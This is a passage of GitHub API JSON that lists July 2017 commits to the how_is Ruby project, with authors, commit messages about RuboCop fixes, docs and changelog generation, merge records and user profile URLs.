"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","url":"https://api.github.com/repos/how-is/how_is/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","html_url":"https://github.com/how-is/how_is/commit/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f"}]},{"sha":"4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGIxYzNiYTI1N2UyOWZmMGI5MjJlNmI0YWNlYjhiM2NlZDI0MTk1Zg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:40:26Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:40:26Z"},"message":"Prefer public_send over send","tree":{"sha":"2da6642a8fbb911235bc4c2faff78522dbadddf5","url":"https://api.github.com/repos/how-is/how_is/git/trees/2da6642a8fbb911235bc4c2faff78522dbadddf5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","html_url":"https://github.com/how-is/how_is/commit/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4b1c3ba257e29ff0b922e6b4aceb8b3ced24195f/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"32998a063f1a978b05589edf928006684193c1f2","url":"https://api.github.com/repos/how-is/how_is/commits/32998a063f1a978b05589edf928006684193c1f2","html_url":"https://github.com/how-is/how_is/commit/32998a063f1a978b05589edf928006684193c1f2"}]},{"sha":"32998a063f1a978b05589edf928006684193c1f2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzI5OThhMDYzZjFhOTc4YjA1NTg5ZWRmOTI4MDA2Njg0MTkzYzFmMg==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:30:57Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:31:51Z"},"message":"[docs] Improve docblock wording","tree":{"sha":"17d0d3dd47c4666148b215c6e79dbbc33302de41","url":"https://api.github.com/repos/how-is/how_is/git/trees/17d0d3dd47c4666148b215c6e79dbbc33302de41"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/32998a063f1a978b05589edf928006684193c1f2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/32998a063f1a978b05589edf928006684193c1f2","html_url":"https://github.com/how-is/how_is/commit/32998a063f1a978b05589edf928006684193c1f2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/32998a063f1a978b05589edf928006684193c1f2/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"0f59a83c0e8ba6b63165af3c780f13ff843bb058","url":"https://api.github.com/repos/how-is/how_is/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058","html_url":"https://github.com/how-is/how_is/commit/0f59a83c0e8ba6b63165af3c780f13ff843bb058"}]},{"sha":"0f59a83c0e8ba6b63165af3c780f13ff843bb058","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGY1OWE4M2MwZThiYTZiNjMxNjVhZjNjNzgwZjEzZmY4NDNiYjA1OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T16:24:17Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T16:24:17Z"},"message":"Merge branch ''master'' into fix/rubocop-warnings","tree":{"sha":"81a2bf1723cbfaec064ee4da5242729482218095","url":"https://api.github.com/repos/how-is/how_is/git/trees/81a2bf1723cbfaec064ee4da5242729482218095"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058","html_url":"https://github.com/how-is/how_is/commit/0f59a83c0e8ba6b63165af3c780f13ff843bb058","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0f59a83c0e8ba6b63165af3c780f13ff843bb058/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"912c5e1a04a79f8852d48f38e8d8d0a785c3f419","url":"https://api.github.com/repos/how-is/how_is/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","html_url":"https://github.com/how-is/how_is/commit/912c5e1a04a79f8852d48f38e8d8d0a785c3f419"},{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d"}]},{"sha":"50a9b616043fdadfcb262d68c5be32bb5f350c5d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTBhOWI2MTYwNDNmZGFkZmNiMjYyZDY4YzViZTMyYmI1ZjM1MGM1ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T16:23:56Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T16:23:56Z"},"message":"Merge pull request #177 from how-is/changelog-stuff\n\nUse github_changelog_generator for generating the changelog.","tree":{"sha":"3179757d4faa2722208fefe76db767ed8da1b1df","url":"https://api.github.com/repos/how-is/how_is/git/trees/3179757d4faa2722208fefe76db767ed8da1b1df"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d","html_url":"https://github.com/how-is/how_is/commit/50a9b616043fdadfcb262d68c5be32bb5f350c5d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/50a9b616043fdadfcb262d68c5be32bb5f350c5d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45"},{"sha":"27b252d3625d198ded7dee32a86387a8ec613588","url":"https://api.github.com/repos/how-is/how_is/commits/27b252d3625d198ded7dee32a86387a8ec613588","html_url":"https://github.com/how-is/how_is/commit/27b252d3625d198ded7dee32a86387a8ec613588"}]},{"sha":"912c5e1a04a79f8852d48f38e8d8d0a785c3f419","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTEyYzVlMWEwNGE3OWY4ODUyZDQ4ZjM4ZThkOGQwYTc4NWMzZjQxOQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:22:34Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:22:34Z"},"message":"[docs] API docblocks for classes","tree":{"sha":"817eb0891d782c8e6f8dce02f5c85c8a447e76bb","url":"https://api.github.com/repos/how-is/how_is/git/trees/817eb0891d782c8e6f8dce02f5c85c8a447e76bb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","html_url":"https://github.com/how-is/how_is/commit/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","comments_url":"https://api.github.com/repos/how-is/how_is/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45"}]},{"sha":"27b252d3625d198ded7dee32a86387a8ec613588","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjdiMjUyZDM2MjVkMTk4ZGVkN2RlZTMyYTg2Mzg3YThlYzYxMzU4OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-16T16:19:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-16T16:19:20Z"},"message":"Use github_changelog_generator for generating the changelog!","tree":{"sha":"3179757d4faa2722208fefe76db767ed8da1b1df","url":"https://api.github.com/repos/how-is/how_is/git/trees/3179757d4faa2722208fefe76db767ed8da1b1df"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/27b252d3625d198ded7dee32a86387a8ec613588","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/27b252d3625d198ded7dee32a86387a8ec613588","html_url":"https://github.com/how-is/how_is/commit/27b252d3625d198ded7dee32a86387a8ec613588","comments_url":"https://api.github.com/repos/how-is/how_is/commits/27b252d3625d198ded7dee32a86387a8ec613588/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45"}]},{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjRhMjQwMTFmNGM5YTQ4ZjUzM2UyYWJjMWY0NjE2NGQ5Y2Q4NmE0NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:31:10Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:31:10Z"},"message":"Merge pull request #174 from olleolleolle/fix/update-rubocop-to-latest\n\nRubocop 0.49.1","tree":{"sha":"bae15ff5cbbdd44d18942b037f3098cb890a3bd2","url":"https://api.github.com/repos/how-is/how_is/git/trees/bae15ff5cbbdd44d18942b037f3098cb890a3bd2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"47d3346d5402c1f1084978b22956324af6860f80","url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80","html_url":"https://github.com/how-is/how_is/commit/47d3346d5402c1f1084978b22956324af6860f80"},{"sha":"5d095a66c973e014b916112da522d39744a8aac9","url":"https://api.github.com/repos/how-is/how_is/commits/5d095a66c973e014b916112da522d39744a8aac9","html_url":"https://github.com/how-is/how_is/commit/5d095a66c973e014b916112da522d39744a8aac9"}]},{"sha":"5d095a66c973e014b916112da522d39744a8aac9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWQwOTVhNjZjOTczZTAxNGI5MTYxMTJkYTUyMmQzOTc0NGE4YWFjOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:28:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:28:21Z"},"message":"Merge branch ''master'' into fix/update-rubocop-to-latest","tree":{"sha":"bae15ff5cbbdd44d18942b037f3098cb890a3bd2","url":"https://api.github.com/repos/how-is/how_is/git/trees/bae15ff5cbbdd44d18942b037f3098cb890a3bd2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5d095a66c973e014b916112da522d39744a8aac9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5d095a66c973e014b916112da522d39744a8aac9","html_url":"https://github.com/how-is/how_is/commit/5d095a66c973e014b916112da522d39744a8aac9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5d095a66c973e014b916112da522d39744a8aac9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"117d54a5908e397d5dcc7a71960c357970febbbc","url":"https://api.github.com/repos/how-is/how_is/commits/117d54a5908e397d5dcc7a71960c357970febbbc","html_url":"https://github.com/how-is/how_is/commit/117d54a5908e397d5dcc7a71960c357970febbbc"},{"sha":"47d3346d5402c1f1084978b22956324af6860f80","url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80","html_url":"https://github.com/how-is/how_is/commit/47d3346d5402c1f1084978b22956324af6860f80"}]},{"sha":"47d3346d5402c1f1084978b22956324af6860f80","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDdkMzM0NmQ1NDAyYzFmMTA4NDk3OGIyMjk1NjMyNGFmNjg2MGY4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:26:56Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:26:56Z"},"message":"Merge pull request #173 from olleolleolle/fix/rubocop-warns\n\nRubocop warning removal","tree":{"sha":"8e3d60d4460b510622168a2a658d5723038cc54b","url":"https://api.github.com/repos/how-is/how_is/git/trees/8e3d60d4460b510622168a2a658d5723038cc54b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/47d3346d5402c1f1084978b22956324af6860f80","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80","html_url":"https://github.com/how-is/how_is/commit/47d3346d5402c1f1084978b22956324af6860f80","comments_url":"https://api.github.com/repos/how-is/how_is/commits/47d3346d5402c1f1084978b22956324af6860f80/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"0022c30ee8f995d8ab55d5d6234ea37e840b53b0","url":"https://api.github.com/repos/how-is/how_is/commits/0022c30ee8f995d8ab55d5d6234ea37e840b53b0","html_url":"https://github.com/how-is/how_is/commit/0022c30ee8f995d8ab55d5d6234ea37e840b53b0"},{"sha":"dd9f993d32863a10efcad8091fb31c730c0e06aa","url":"https://api.github.com/repos/how-is/how_is/commits/dd9f993d32863a10efcad8091fb31c730c0e06aa","html_url":"https://github.com/how-is/how_is/commit/dd9f993d32863a10efcad8091fb31c730c0e06aa"}]},{"sha":"dd9f993d32863a10efcad8091fb31c730c0e06aa","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGQ5Zjk5M2QzMjg2M2ExMGVmY2FkODA5MWZiMzFjNzMwYzBlMDZhYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T15:02:53Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T15:02:53Z"},"message":"Merge branch ''master'' into 